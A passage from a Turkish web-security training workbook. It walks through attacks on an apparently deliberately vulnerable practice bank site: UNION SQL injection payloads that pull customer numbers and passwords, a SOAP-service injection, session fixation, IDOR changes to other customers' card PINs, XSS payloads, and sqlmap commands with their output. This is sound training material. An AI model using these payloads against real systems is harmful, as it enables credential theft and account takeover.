"Go"  butonuna  tıklandığında  normal  bir  istek  için  dönen  cevap  sağ  tarafta  şube  listesi  olarak  görünecektir.   k1   parametresi   34   olduğundan   İstanbul'da   bulunan   şubeler   cevap   kısmında  listelenmiştir.  

 

2)  SQL  injection  payload  yazılır  

SQL   dilinde   "order   by"   keywordu   kayıtları   sıralamada   kullanılır.   SQL   injectionun   tespitinde  önemli  yere  sahiptir.  Bir  tabloda  eğer  5  kolon  varsa  order  by  değeri  5  ve  5'ten  az  bir  değer  alabilir   ama   5'ten   büyük   bir   değer,   mesela   6   yapıldığında   hata   meydana   gelecektir.   Bu  hatanın  meydana   geldiği   değerden   bir   önceki   değer   yani   5   değeri   tablodaki   kolon   sayısını  belirtir.   Bu   sayede   hata   alana   kadar   değeri   arttıran   saldırgan,   tablodaki   kolon   sayısını  bulabilir.  

 

Kolon  sayısı  neden  gereklidir?  Uygulama  geliştirici  bir  SQL  cümlecik  yazmıştır  ve  saldırgan  bu  cümleciğe  ekleme  yapmak  istiyordur.  Var  olan  bu  SQL  cümlesinin  yanında  bir  SQL  cümlesini  daha   çalıştırmak   için   UNION   keywordu   kullanılır.   Bu   keywordun   özelliği   ise   bir   önceki  cümlede  kullanılan  tablonun  sahip  olduğu  kolon  sayısını  kullanmasıdır.  Örneğin  ilk  cümlede  6  kolon  varsa  uniondan  sonraki  cümlede  de  6  kolon  kullanılmalıdır.  

 

Union  keywordu  kullanarak  yeni  bir   sorgu  çalıştıran  saldırgan,  bu  sorgu   ile   istediği  verilere  rahatça  ulaşabilir.  

 

Page 81: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   81    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Şekil   85   ve  86  da  order  by   ile   hata   alınmadan  hemen  önceki   değer   ile   hata   alınılan  değer  gösterilmiştir.  k1  parametresinde  kullanılan  payload:  34'/**/order/**/by/**/8;/**/  

 Şekil  85.  Hata  Alınmadan  Önceki  Görüntü  

 Şekil  86.  Hata  Alınılan  Görüntü  

Şekil   85.   ve   86.   dan   da   anlaşılacağı   gibi   union   'dan   sonra   çalıştırılacak   cümlede   8   kolon  kullanılmalıdır.   k1   parametresinden   sonra     -­‐34'/**/union/**/select/**/1,2,3,4,5,6,7,8;/**/  yazıldığında  sonuç  şekil  85.deki  gibi  olur.  

34   değerinin   başına   -­‐   koyulmasının   nedeni   -­‐34   değerinin   veritabanında   karşılığının  bulunmamasıdır.  İller  tablosunda  -­‐34  diye  bir  plaka  olmadığından  sayfa  temizlenir  ve  sadece  union  verileri  görünür  bu  da  saldırganın  çalışmasını  rahatlatır.  

 Şekil  87.  Çalışan  Union  Sorgusu  ve  Sonucu  

 

Page 82: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

82   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

Şekil  88.  de  union  sorgusundan  sadece  2  ve  3  getirilmiştir.  union  cümleciğinde  şekil  17.de  ki  gibi  2  yerine  @@version  yazılırsa,  sql  serverin  versiyonu  öğrenilebilir.    

SQL  payload:  10'/**/union/**/select/**/1,@@version,3,4,5,6,7,8;/**/  

 Şekil  88.  SQL  Injection  Versiyon  Öğrenme  

Sadece   versiyon   bilgileri   vs   değil,   BGA   Bank  müşteri   numaraları   ve   şifreleri   de   çekilebilir.  Şekil  89.  da  müşteri  numaraları  ve  şifrelerinin  çekimi  gösterilmiştir.  Bunun   için  kullanılacak  payload:  

-­‐34'/**/union/**/select/**/1,m_numarasi,m_sifre,4,5,6,7,8/**/from/**/bnk_musteriler;/**/  

 Şekil  89.  BGA  Bank  Müşteri  Numaraları  ve  Şifreleri  

   

Page 83: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   83    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

31. İşlem Özeti Filtreleme Web Service SQL Injection Anlatılan   SQL   injection   açıklıklarından   farkı   Web   Service   kullanılarak   istismar   edilmesidir.  Şekil   90.   da   filtreme   paneli   gösterilmiştir.   Bu   kısımda   kullanıcı   tarafından   girilen   değerler  web  servis  tarafından  işleme  tabi  tutulur  ve  yine  web  servis  ile  cevap  döndürülür.  

 Şekil  90.  BGA  Bank  İşlem  Özeti  Filtreleme  Paneli  

SQL   injection   tespiti   için   web   servisleri   debug   etmek   için   kullan   SOAPUI   aracından  yararlanılacaktır.   Bunun   için   wsdl   dosyasının   bulunduğu   konum   bulunmalıdır.   Sayfanın  kaynak   koduna   bakıldığında   geliştiricinin   wsdl   yolunu   yorum   olarak   bıraktığı   görülecektir.  (Şekil  91.)  Bu  da  bir  zafiyettir.  

Page 84: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

84   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

 Şekil  91.  BGA  Bank  "hesaplarim.aspx"  HTML  Kaynak  Kodu  

Uygulama   geliştirici   kendi   geliştirme   ortamında   kullandığı   adresi   kullanmıştır.   Önemli   olan  domain  adresi  değil  wsdl  dosyasının  yoludur.    

SOAP  Adres:    http://isube.bgabank.com/service/rpc/BGABankService.php?wsdl  

Zafiyet  tespiti  ve  istismarı  aşağıda  adım  adım  anlatılmıştır.  

1)  SOAPUI  programında  yukarıdaki  adres  ile  yeni  bir  proje  oluşturulur.  (Şekil  92)  

 Şekil  92.  File  -­‐>  New  Soap  Project  

 

 

 

 

Page 85: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   85    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

2)  Parametre  değerleri  girilerek  web  servise  istek  gönderilir.  (Şekil  93.)  

 

 Şekil  93.  SoapUI  İstek  ve  Cevap  

Gönderilen  değerler:  

<hesap_no  xsi:type="xsd:string">TR400340100000000000020037</hesap_no>  <alt_sinir  xsi:type="xsd:int">1</alt_sinir>  <ust_sinir  xsi:type="xsd:int">100</ust_sinir>  <islem_tipi  xsi:type="xsd:string">giden</islem_tipi>  

   

3)  SQL   injection  zafiyeti   islem_tipi  parametresinde  bulunmaktadır.   İstimarı   için  kullanılacak  payload:  -­‐giden"  union  select  1,2,3,m_sifre,m_numarasi,6,7,8,9,m_adi  from  bnk_musteriler;    bu  payload  ile  müşteri  numaraları  ve  şifreleri  çekilecektir.  (Şekil  94)  

 Şekil  94.  SQL  Injection  İstismarı  

Page 86: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

86   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

32. BGA Bank Session Fixation Saldırısı Saldırı  aşağıda  adım  adım  anlatılmıştır.  

Saldırgan:  Mustafa  Balaban  Hedef  Kullanıcı:  Ahmet  Kalayci  

1)  Saldırgan  sisteme  giriş  yapar  ve  bir  sessionid  alır.  (sessid:  magc9jf9pks4a56ip8htg9ai27)  

 Şekil  95.  Saldırganın  Aldığı  SessionID  

2)  Hedef  kullanıcıya  tıklaması  için  kendi  aldığı  session  id  ye  sahip  bir  link  (Tablo  24)  gönderir  ve  kullanıcı  bu  linke  tıklayıp  giriş  yapar.  

URL   http://isube.bgabank.com/giris.aspx?PHPSESSID=magc9jf9pks4a56ip8htg9ai27  Tablo  24.  Link  

Page 87: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   87    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  94.  Hedef  Kullanıcı  Sisteme  Giriş  Yapar  

3)  Saldırgan  sayfayı  yenilediğinde  hedef  kullanıcı  oturumuna  erişir.  

 Şekil  95.  Sonuç  

   

Page 88: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

88   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

33. HTML Yorum Satırlarında Bilgi İfşası Uygulamanın  çeşitli  sayfalarında,  geliştirici  tarafından  bırakılan  ve  önemli  bilgiler  barındıran  yorum  satırları  bırakılmıştır.  Tablo  25.  26.  ve  27.  de  yorum  satırlarının  bulunduğu  linkler  ve  bilginin  türü  belirtilmiştir.  

URL   http://isube.bgabank.com/insan-­‐kaynaklari.aspx  

Bilgi     Yüklenen  dosyanın  yüklendiği  dizinin  adresi  (Şekil  96)  

Tablo  25.  İnsan  Kaynakları  Sayfası  

 Şekil  96.  İnsan  Kaynakları  Sayfası  HTML  Kaynak  Kodu  

URL   http://isube.bgabank.com/giris.aspx    

Bilgi     Yönetim  Paneli  Dizini  (Şekil  97)  

Tablo  26.  Müşteri  Giriş  Paneli  

Page 89: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   89    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  97.  Müşteri  Giriş  Sayfası  HTML  Kaynak  Kodları  

 

URL   http://isube.bgabank.com/hesaplarim.aspx?ID=1  

Bilgi     Web  Servis  WSDL  dosya  adresi  (Şekil  98)  

Tablo  27.  Müşteri  Giriş  Paneli  

 Şekil  98.  İşlem  Özeti  HTML  Kaynak  Kodları  

Page 90: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

90   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

34. Şifre Değiştirme Panelinde Şifre Form Kontrolünü Atlatma

URL   http://isube.bgabank.com/sifre.aspx  

Tablo  28.  Şifre  Değiştirme  Sayfası  

Şifre  değiştirme  sayfasında  yer  alan  filtremele  javascript  ile  yapıldığından,  araya  girilerek  eski  şifre   hiç   bir   kurala   tabi   tutulmadan,   istenilen   şekilde   değiştirilebilir.   Şekil   99.   da   araya  girilmeden   şifre   “deneme”   yapılmak   istenmiş   ve   “Şifre   en   az   bir   rakam   içermelidir   (0-­‐9)”  hatası  alınmıştır.    

 Şekil  99.  Şifre  Değiştirme  Paneli  Hata  

Kaynak  kodlara  bakıldığında  javascript  kullanılarak,  şekil  99  daki  gibi  kısıtlamalara  gidilmiştir.  (Şekil  100)  

 Şekil  100.  Javascript  Kısıtlamalar  

 

Page 91: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   91    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Javascript  kodları  son  kullanıcı  tarafında  yani  tarayıcıda  çalıştığı  için  tarayıcı  ile  sunucu  arasına  herhangi  bir  proxy  programı  (Burp  Suite,  ZAP  vs.)  girilip  bu  kısıtlamalar  atlatılabilir.  Aşağıda  Burp  Suite  kullanılarak  şifre  “deneme”  olarak  değiştirilmiştir.    1)  Şifre  değiştirme  paneline  yeni  şifre  olarak  kurallara  uygun  olan  “BGA123”  girilir  ve  istek  Burp  Suite  ile  yakalanır.  (Şekil  101)    

 Şekil  101.  Şifre  Değiştirme  Burp  Suite  

 2)  İstek  tablo  28.  deki  gibi  k6  ve  k7  parametreleri  “deneme”  olarak  değiştirilip  gönderilir.    

GET  /ajax.php?sayfa=sifre.php&k5=11&k6=deneme&k7=deneme  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0  Accept:  text/html,  */*;  q=0.01  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Content-­‐Type:  text/plain;  charset:UTF-­‐8  X-­‐Requested-­‐With:  XMLHttpRequest  Referer:  http://isube.bgabank.com/sifre.aspx  Cookie:  PHPSESSID=d8qgu1gdtocdrjlbh7u6r01aq2;  guest=FALSE  DNT:  1  Connection:  keep-­‐alive  

Tablo  29.  Burp  Suite  Şifre  Değiştirme  GET  İsteği  

           

Page 92: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

92   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

3)  Sonuç,  şifre  başarıyla  değiştirilmiştir.  (Şekil  102)    

 Şekil  102.  Şifre  Değiştirme  

   

Page 93: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   93    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

35. Diğer Müşterilere Bağlı Kart Şifrelerini Değiştirme

URL   http://isube.bgabank.com/kartlarim.aspx  

Tablo  30.  Kartlarım  Sayfası  

Sisteme   herhangi   bir   müşteri   olarak   giriş   yapıldıktan   sonra   tablo   30   da   belirtilen   adrese  gidildiğinde,   sahip   olunan   kartlar   ve   bunlara   atanan   şifre   değiştirme   paneli   görünecektir.  (Şekil  103)    

 Şekil  103.  Kartlarım  Sayfası  

             

Page 94: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

94   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

Burp  Suite  ile  şifre  değiştirilirken  araya  girilir.  Şekil  104.  de  kırmızı  ile  işaretlenen  alanda  k_id  parametresi  dikkat  çekmektedir.  Kart  id  olarak  nitelendirilebilecek  bir  parametre  olduğundan,  değeri  değiştirilerek  başka  bir  müşteriye  ait  olan  kart  şifresi  değiştirilebilecektir.    

 Şekil  104.  Burp  Suite  Kart  Şifre  Değiştirme  

 Şekil  105.  de  k_id  değeri  9  olan  kartın  şifresi  belirtilmiştir.      

 Şekil  105.  Kart  ID  Değeri  9  Olan  Kartın  Şifresi  

 

Page 95: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   95    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Live  HTTP  Header  ile  ilk  adımda  yakalanan  GET  isteği  tablo  31  deki  gibi  düzeltilerek  tekrar  gönderirlir.      

GET  /ajax.php?sayfa=kartlarim.php&k_sifre=1234&k_sifret=1234&k_id=9  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0  Accept:  text/html,  */*;  q=0.01  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Content-­‐Type:  text/plain;  charset:UTF-­‐8  X-­‐Requested-­‐With:  XMLHttpRequest  Referer:  http://isube.bgabank.com/kartlarim.aspx  Cookie:  PHPSESSID=quhvru5q4setihnriatfgicva4;  guest=FALSE  DNT:  1  Connection:  keep-­‐alive  

Tablo  31.  Burp  Suite  Şifre  Değiştirme  GET  İsteği  

Şekil  106  da  görüldüğü  gibi  şifre  1234  olarak  değiştirilmiştir.    

 Şekil  106.  Değiştirilen  Şifre  

   

Page 96: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

96   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

36. Şubeler Sayfası Reflected XSS Zafiyeti ve İstismarı

URL   http://isube.bgabank.com/subeler.aspx  Tablo  32.  Şubeler  Sayfası  

1)  Burp  Suite  açıkken  Tablo  32  de  belirtilen  adrese  girilip  şehir  seçilir  ve  istek  Burp  Suite  ile  yakalanır.  (Şekil  107,  108)    

 Şekil  107.  Şehir  Seçilir  

 

Page 97: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   97    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  108.  Burp  Suite  ile  Yakalanır  

 2)  k1  parametre  değeri  repeater’a  gönderilip  değiştirildiğinde  HTML  kodlar  arasında  girdinin  yer  aldığı  görülür.  (Şekil  109)  40  yapılan  değer  kodlar  arasına  girmiştir.  (Şekil  110)    

 Şekil  109.  Send  to  Repeater  

 

 Şekil  110.  Hata  Mesajı  

 

Page 98: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

98   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

3)   Tekrar   proxy   sekmesine   dönülür   ve   payload   k1   parametresinin   değeri   payload  (<script>alert(1);</script>)  ile  değiştirilip  “forward”  butonuna  tıklanır.  (Şekil  111)      

 Şekil  111.  Payload  Yazılır  

   4)  Sonuç  (Şekil  112)    

 Şekil  112.  Sonuç  

   

Page 99: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   99    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

37. İçerik Parametresi Time-Based SQL Injection Zafiyeti ve İstismarı

URL   http://isube.bgabank.com/index.php?icerik=kobi  

HTTP  Talep  Türü   GET  

Payload   "  AND  SLEEP(10)  AND  1=1;  

Parametre   icerik  

Tablo  33.  Giriş  Sayfası  SQL  Injection  Zafiyet  Bilgileri  

Tablo  33.  de  zafiyet  bilgileri  yer  almaktadır.  Payload  uygulandığıda  tarayıcının  10  sn  beklediği  görülecektir.  (Şekil  113)  

 Şekil  113.  Time-­‐based  SQL  Injection  

Tablo  34.  de  sqlmap  komutu  ve  çıktısı  gösterilmiştir.  Burada  da  görüldüğü  gibi  Time-­‐based  SQL  Injection  zafiyeti  tespit  edilmiştir.  

Komut  

sqlmap.py  -­‐u  "http://isube.bgabank.com/index.php?icerik=kobi"  -­‐-­‐dbms=mysql  -­‐-­‐level  3  -­‐-­‐risk  3  

Çıktı   GET  parameter  'icerik'  is  vulnerable.  Do  you  want  to  keep  testing  the  others  (if  any)?  [y/N]  sqlmap  identified  the  following  injection  points  with  a  total  of  148  HTTP(s)  requests:  -­‐-­‐-­‐  Place:  GET  Parameter:  icerik     Type:  boolean-­‐based  blind     Title:  OR  boolean-­‐based  blind  -­‐  WHERE  or  HAVING  clause     Payload:  icerik=-­‐1929"  OR  (5708=5708)  AND  "ucpT"="ucpT    

Page 100: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

100   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

  Type:  UNION  query     Title:  MySQL  UNION  query  (NULL)  -­‐  10  columns     Payload:   icerik=-­‐7748"   UNION   ALL   SELECT  NULL,NULL,CONCAT(0x716d6e6371,0x6a77424147486f576675,0x7176717771),NULL,NULL,NULL,NULL,NULL,NULL,NULL#       Type:  AND/OR  time-­‐based  blind     Title:  MySQL  >  5.0.11  OR  time-­‐based  blind     Payload:  icerik=-­‐7089"  OR  4772=SLEEP(5)  AND  "VCGC"="VCGC  -­‐-­‐-­‐  [21:58:56]  [INFO]  the  back-­‐end  DBMS  is  MySQL  web  server  operating  system:  Linux  Ubuntu  web  application  technology:  Apache  2.4.7,  PHP  5.5.9  back-­‐end  DBMS:  MySQL  5.0.11  

Tablo  34.  Sqlmap  Komutu  ve  Çıktısı      

Page 101: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   101    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

38. Kodlarına Ulaşılabilir Dosyalar Uygulama   geliştirici   bazen   eski   dosyaları   silmek   istemez   sonuna   veya   başına   herhangi   bir  karakter   atıp   adını   değiştirebilir.   Eğer   atılan   karakter,   dosya   uzantısında   ise,   dosya   okunur  hale  gelmektedir.  Tablo  35.  de  belirtilen  adreslerde  bu  zafiyet  mevcuttur.  

Adres  1.   http://isube.bgabank.com/index.php~  (Şekil  114)  

Adres  2.   http://isube.bgabank.com/assets/contents/tr/havale-­‐eft.php~  (Şekil  115)  

Tablo  35.  Kodlarına  Ulaşılabilir  Dosya  Adresleri  

Yukarıdaki   adreslere   gidilip,   sayfa   kaynağı   görüntülendiğinde,   php   kaynak   kodları  görülecektir.  (Şekil  114,115)  

 Şekil  114.  havale-­‐eft.php  Dosyası  Kaynak  Kodları  

Page 102: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

102   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

 Şekil  115.  index.php  Dosyası  Kaynak  Kodları  

   

Page 103: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   103    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

39. User-Agent Başlık Bilgisinde Stored XSS Zafiyeti ve İstismarı Müşteriler,   müşteri   temsilcisine   mesaj   gönderdiklerinde,   müşteri   temsilcisi   mesajlar  panelinde,  müşterinin  mesajı  gönderdiği,  User-­‐Agent  bilgisini  de  görebilmektedir.  (Şekil  116)  

 Şekil  116.  User-­‐Agent  Bilgisi  

Burada   saldırgan   User-­‐Agent   bilgisini   değiştirip   XSS   payload   yazarak,  müşteri   temsilcisinin  cookie  bilgilerini  çalabilir.  

 

 

 

 

 

 

 

 

 

 

 

 

 

Page 104: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

104   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

1)   Burp   Suite   ile   mesaj   gönderilirken   araya   girilir   ve   User-­‐Agent   kısmına   (Şekil   117)   XSS  payload  yazılır.  (Şekil  118)  

 Şekil  117.  User-­‐Agent  Bilgisi  

 

Page 105: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   105    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  118.  Değiştirilen  User-­‐Agent  Bilgisi  

İstekten  Dönen  Cevap  

HTTP/1.1  200  OK  Date:  Sun,  21  Sep  2014  16:18:54  GMT  Server:  Apache/2.4.7  (Ubuntu)  X-­‐Powered-­‐By:  PHP/5.5.9-­‐1ubuntu4.4  Expires:  Thu,  19  Nov  1981  08:52:00  GMT  Cache-­‐Control:  no-­‐store,  no-­‐cache,  must-­‐revalidate,  post-­‐check=0,  pre-­‐check=0  Pragma:  no-­‐cache  L-­‐IP:  172.16.16.100  Content-­‐Length:  7  Keep-­‐Alive:  timeout=5,  max=100  Connection:  Keep-­‐Alive  Content-­‐Type:  text/html    success  

   

Page 106: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

106   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

2)  Müşteri  temsilcisi  mesajı  görüntülediğinde  XSS  payload  çalışır.  (Şekil  119)  

 Şekil  119.  Müşteri  Temsilcisi  Çalışan  Payload  

   

Page 107: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   107    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

40. Haberdar Ol Sayfası SQL Injection Zafiyeti ve İstisamarı

URL   http://isube.bgabank.com/haber-­‐ver.aspx  

HTTP  Talep  Türü   POST  

Payload   "/**/ORDER/**/BY/**/2;    

Parametre   k1  

Tablo  36.  Haberdar  Ol  Sayfası  SQL  Injection  Zafiyet  Bilgileri  

Tablo   37.   de   bilgileri   verilen   SQL   injection   zafiyeti   Haberdar  Ol   sayfasında   bulunmaktadır.  (Şekil   120)   Bu   sayfada   bulunan   forma,  mail   adresi   formatından   başka   bir   şey   yazılamadığı  görülmektedir.   Javascript   ile   yapılan   kısıtlamarı   atlatmak   için,   Burp   Suite   kullanılır.   Zafiyet  tespiti  aşağıdaki  adımlarla  yapılır.    

 Şekil  120.  Haberdar  Ol  Sayfası  

 

 

 

 

Page 108: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

108   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

1)  Burp  Suite  ile  araya  girilir  ve  istek  repeater’a  gönderilir.  “  karakteri  k1  parametre  değerine  eklenir  ve  sonuç  gözlemlenir.  

Şekil  121.  SQL  Hatası  

 

 

 

 

 

 

 

 

 

Page 109: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   109    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

2)  Tablo  38.  deki  payloadın  sonunda  bulunan  2,  3  olarak  değiştirildiğinde  tekrar  hata  alındığı  görülür.  (Şekil  122)  

Şekil  122.  Order  by  SQL  Hatası  

 

 

 

 

 

 

 

 

 

Page 110: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

110   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

3)  Tablo  38.  deki  payload  aynen  denendiğinde  hata  alınmadığı  gözlemlenecektir.  Dolayısıyla  tabloda  2  kolon  olduğu  anlaşılacaktır.  (Şekil  123)  

 Şekil  123.  Başarılı  Order  By  Denemesi  

Yukarıda   zafiyet   bulunduğunun   kesin   ispatı   yapılmıştır.   Aşağıda   sqlmap   ile   istismar   için  bilgiler  yer  almaktadır.      

1)  Gönderilen  GET  verisi  alınarak  bir  dosyaya  kaydedilir.  

Gönderilen  GET  datası  

GET  /ajax.php?sayfa=haber-­‐ver.php&k1=dude%40bga.com.tr  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0  Accept:  text/html,  */*;  q=0.01  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Content-­‐Type:  text/plain;  charset:UTF-­‐8  X-­‐Requested-­‐With:  XMLHttpRequest  Referer:  http://isube.bgabank.com/haber-­‐ver.aspx  Cookie:   __cfduid=dcd509ecaf3eaecc65dbb67f0ae8856f61411237618127;  PHPSESSID=ktmf596la0v5ihe0b1qjaspd74;  guest=FALSE  DNT:  1  Connection:  keep-­‐alive  

Page 111: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   111    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

2)  Dosya  sqlmap  ‘e  verilir.  Çıktı  Tablo  39.  daki  gibidir.  İstismar  başarıyla  sonuçlanmıştır.  

Komut   sqlmap.py  -­‐r  ../Desktop/deneme.txt  -­‐p  k1  -­‐-­‐dbms  mysql  -­‐-­‐level  3  -­‐-­‐risk  3  

Çıktı   GET  parameter  'k1'  is  vulnerable.  Do  you  want  to  keep  testing  the  others  (if  any)?  [y/N]  sqlmap   identified   the   following   injection   points   with   a   total   of   142   HTTP(s)  requests:  -­‐-­‐-­‐  Place:  GET  Parameter:  k1     Type:  boolean-­‐based  blind     Title:  AND  boolean-­‐based  blind  -­‐  WHERE  or  HAVING  clause     Payload:   sayfa=haber-­‐ver.php&[email protected]"   AND   6328=6328  AND  "bCdE"="bCdE       Type:  stacked  queries     Title:  MySQL  >  5.0.11  stacked  queries     Payload:  sayfa=haber-­‐ver.php&[email protected]";  SELECT  SLEEP(5)-­‐-­‐       Type:  AND/OR  time-­‐based  blind     Title:  MySQL  >  5.0.11  AND  time-­‐based  blind     Payload:   sayfa=haber-­‐ver.php&[email protected]"   AND   SLEEP(5)   AND  "mabH"="mabH  -­‐-­‐-­‐  [20:01:08]  [INFO]  the  back-­‐end  DBMS  is  MySQL  web  server  operating  system:  Linux  Ubuntu  web  application  technology:  Apache  2.4.7,  PHP  5.5.9  back-­‐end  DBMS:  MySQL  5.0.11  

Tablo  39.  Sqlmap  Komutu  ve  Çıktısı  

   

